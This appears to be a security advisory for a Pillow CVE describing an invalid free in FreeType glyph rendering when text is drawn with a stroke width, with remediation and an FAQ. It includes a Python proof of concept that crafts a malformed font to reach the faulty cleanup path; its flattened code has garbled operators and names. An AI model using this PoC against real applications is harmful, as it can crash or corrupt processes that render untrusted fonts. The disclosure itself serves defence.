CVE-2026-112893: Pillow: Invalid free in FreeType glyph rendering when a stroker is active
Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FTLoadGlyph fails for a glyph, the cleanup path calls FTDoneGlyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.
Details glyph is declared without a NULL initializer:
- src/imagingft.c:848
The first measurement loop can jump to glypherror before glyph is ever assigned:
- src/imagingft.c:1010-1013
In the render loop the glyph is freed at the end of each iteration and not set back to NULL:
- src/imagingft.c:1242
The cleanup frees it whenever a stroker exists:
- src/imagingft.c:1253-1256
ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.
PoC This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FTLoadGlyph returns an error while the face still opens.
python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) localong = tt["head"].indexToLocFormat tt.close()
raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyfoff = tbl["glyf"][0]; locaoff = tbl["loca"][0] if localong: o0 = struct.unpackfrom(">I", raw, locaoff + 4gid)[0] else: o0 = struct.unpackfrom(">H", raw, locaoff + 2gid)[0] 2 struct.packinto(">h", raw, glyfoff + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, strokewidth=2) # load error -> FTDoneGlyph on bad pointer
Result on the pinned build: FTLoadGlyph returns an error and execution reaches the glypherror cleanup that calls FTDoneGlyph(glyph) (the plugin surfaces OSError: invalid outline).
Impact Applications that draw text with strokewidth != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FTDoneGlyph.
Other sources
Pillow is a Python imaging library. From 10.0.0 until 13.0.0, Pillow can free an invalid glyph pointer during FreeType rendering with an active stroker. If FTLoadGlyph fails, cleanup may call FTDoneGlyph on an uninitialized or stale glyph variable. An attacker can supply a malformed font as untrusted bytes to an application that draws text with a nonzero stroke width, forcing the glyph-load failure path. This can corrupt memory or crash the process. This issue is fixed in version 13.0.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Upgrade
Upgrade
bitnami/pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Upgrade
Upgrade
debian/pillowto a version that resolves this vulnerability.Fixed in 13.0.0-1 - Upgrade
Upgrade
Pillowto a version that resolves this vulnerability.Fixed in 13.0.0
Event History
Frequently Asked Questions
Which applications are exposed to this issue?
Applications using Pillow versions from 10.0.0 up to, but not including, 13.0.0 are exposed when they render text from attacker-supplied malformed font bytes with a nonzero stroke width. Applications that do not process untrusted fonts or do not use an active stroker are not described as reaching the vulnerable path.
What does an attacker need to do to trigger the flaw?
An attacker needs to provide malformed font data to an application that uses Pillow's FreeType glyph rendering with a nonzero stroke width. The malformed font must cause FT_Load_Glyph to fail, which reaches the unsafe cleanup path.
What is the likely impact if exploitation succeeds?
The invalid glyph free can corrupt process memory or crash the process. The supplied CVSS vector indicates the primary assessed impact is on availability.
What should be done if an immediate upgrade is not possible?
Avoid rendering text from untrusted font bytes, particularly when using a nonzero stroke width. Rejecting or isolating untrusted font processing can prevent the described trigger path until Pillow can be updated.
How can I determine whether my deployment is affected?
Check the installed Pillow version and whether the application accepts untrusted font data for text rendering with stroke width enabled. Versions 10.0.0 through before 13.0.0 meet the affected version range; version 13.0.0 contains the fix.